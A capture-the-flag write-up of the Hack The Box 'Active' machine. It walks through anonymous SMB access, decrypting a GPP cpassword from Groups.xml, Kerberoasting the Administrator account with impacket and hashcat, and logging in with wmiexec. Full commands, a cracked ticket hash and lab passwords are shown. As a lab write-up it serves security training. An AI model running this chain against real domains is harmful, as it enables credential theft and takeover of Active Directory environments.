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[HTB] Active Writeup

HTB Active write-up

TL;DR

Anonymous SMB access to the Replication share exposed GPP credentials in Groups.xml for the SVC_TGS account. These credentials allowed Kerberoasting of the Administrator account, whose service ticket was cracked offline to recover the password and obtain administrative access to the Domain Controller.


0. Recon

Nmap scan shows that the target was Windows Active Directory Domain Controller. LDAP banner identified the domain as active.htb

Port Scan Results 2026-04-20-14-42-02

IP AddressPorts Open
10.129.241.190TCP: 53, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5722, 9389, 47001, 49152, 49153, 49154, 49155, 49157, 49158, 49169, 49177

1. Initial Access - SMB enumeration

SMB enumeration revealed that the Replication share was accessible with read-only permissions without valid user credentials.

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└─$ smbmap -H 10.129.241.190

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Further enumeration of the Replication share revealed the file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml.

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└─$ smbclient //10.129.241.190/Replication

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The Groups.xml file contained the cpassword value for the SVC_TGS account.

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<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
	<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
		<Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>
	</User>
</Groups>

The cpassword value can be decrypted using a publicly known key. After decrypting it, the password for SVC_TGS was recovered. These credentials allowed SMB access as SVC_TGS, which was then used to retrieve user.txt.

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└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
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└─$ smbclient //10.129.241.190/Users -U 'active.htb/SVC_TGS%GPPstillStandingStrong2k18'
Try "help" to get a list of possible commands.
smb: \> get \SVC_TGS\Desktop\user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as \SVC_TGS\Desktop\user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)

└─$ cat '\SVC_TGS\Desktop\user.txt' 
455e5e90141bdd7e21b6ac92439ad288

2. Privilege Escalation - Kerberoasting

Using the SVC_TGS account, a Kerberoasting attack was performed to request a TGS ticket for the Administrator account.

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└─$ impacket-GetUserSPNs active.htb/SVC_TGS -dc-ip 10.129.241.190 -request  

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The extracted ticket was cracked, successfully recovering the password for the Administrator account.

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└─$ hashcat -m 13100 -a 0 -O hash.txt /usr/share/wordlists/rockyou.txt --show                                  
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$5686335df0b1f1db5b2baae0f7ebbee6$1f58b065d0a13cda346fdd435670647ceccc59801f20e2a8c400d5a26aad126827289cf138cd7a17bbbc4c44129ad5e80555261a6f389a9cc2737aef37115f47f62c01b04c5cd80f87eace8b9d8b1d0efd48a789622fa1068d4a01750b9b5946361262471f7f0988673eba740096d518af2d9dcaca81484f6661c05685d740f69a3b15c0c1eb2caff6fd081979442b182ac6a1b3a6aaafaa92d7c1af6e3c8c4a53c8891624a3e70d4558fe5651aa52f84333cd3182696076df91622510da66c3091bb1b2d7863eeebc4ce6f945e6de5ffc376f0961fc8eecfc31ba4ba5ed0dc71f24bde6affae7f30c4f658aa7016d0a4682c1faa15cb0227ced291c30eaa8970c3b6ea65cac8aac9803cdcb80b2c1d2a9b3fdf3ea42b69abbae3f1f3660dc1ff34b470777240609f07376035fce15c0d857276494ca0b9da15fafd7aca4bdae3eb9f52bd91b6afd92d116a4097e2aa445e2c86789f32fd864f1388028d13b5ff6898b3f29346d64935009396d836037b204ca009be0969641f891559f658b1b1ae5c7f62a8632f3601e231d53ebec3229cc573ebd0fda4a0e5f2dc2224f2b72fbd81b6dbbc4c7035447674fe4f6e982b41d36ae6ba8296d791b243e48886b8241d4afa8ab4b9c9caec905561aa141d7ae4f84d553622fce78af23e18689cbf3d807199716bfee1da0798baae9a62c86be46c718a82f4b06711475ab7307b8778471f71825faa77d561e6306484f8093423d8cb7ddcdd8fd06612267d78b09eb83ab006eff967e90c56b9e0d8b17b0d13ffb027b8a82399b8cb40310cf592b87f3ec6b8404f3bc4bd789dd5c36313e03a6ae60a83d3e64990bf100d25ba1a4d022ab3d8273e5f2f92d454db3adf9c8f4a9d3a85e6f67d3ea8b81f67d6a19d8544a243cb16b3b8903670eff0320decc827f321dcdaa9585bbe453be7998aa163cb74f736b8cb481e62e381de1534a0e93ec553f9ea44023e92dc57e271832dd8deefb87f62c0b656f2eca38dcbdc61a35b03a0ca76ab817d29222b072198668f7b848b0d54c55c080bff8f9b29ff8a61453a94c91888f4b7f8d2ffdb02a90350a20f8bdb34985ae0d58e7777cff1789c0cb42b3a90e5f6d30ad2fdabba82719f4007e454b82ba184f28a453a152d1cc029357db97c4f479b53d91eccaf84c11ca8e7fc759f817d7cc1fd28b53ae58bf8b31a2617e86538b198d176f81bb31eb7e2168ffc992c289046ce9a3ac49afda7f65f321b0dced1d30836a:Ticketmaster1968


└─$ nxc smb 10.129.241.190 -u Administrator -p 'Ticketmaster1968' -d active.htb
SMB         10.129.241.190  445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.241.190  445    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

The cracked password was used to authenticate as Administrator, and root.txt was retrieved via wmiexec.

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└─$ impacket-wmiexec -codec cp949 'active.htb/Administrator:Ticketmaster1968@10.129.241.190'

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This post is licensed under CC BY 4.0 by the author.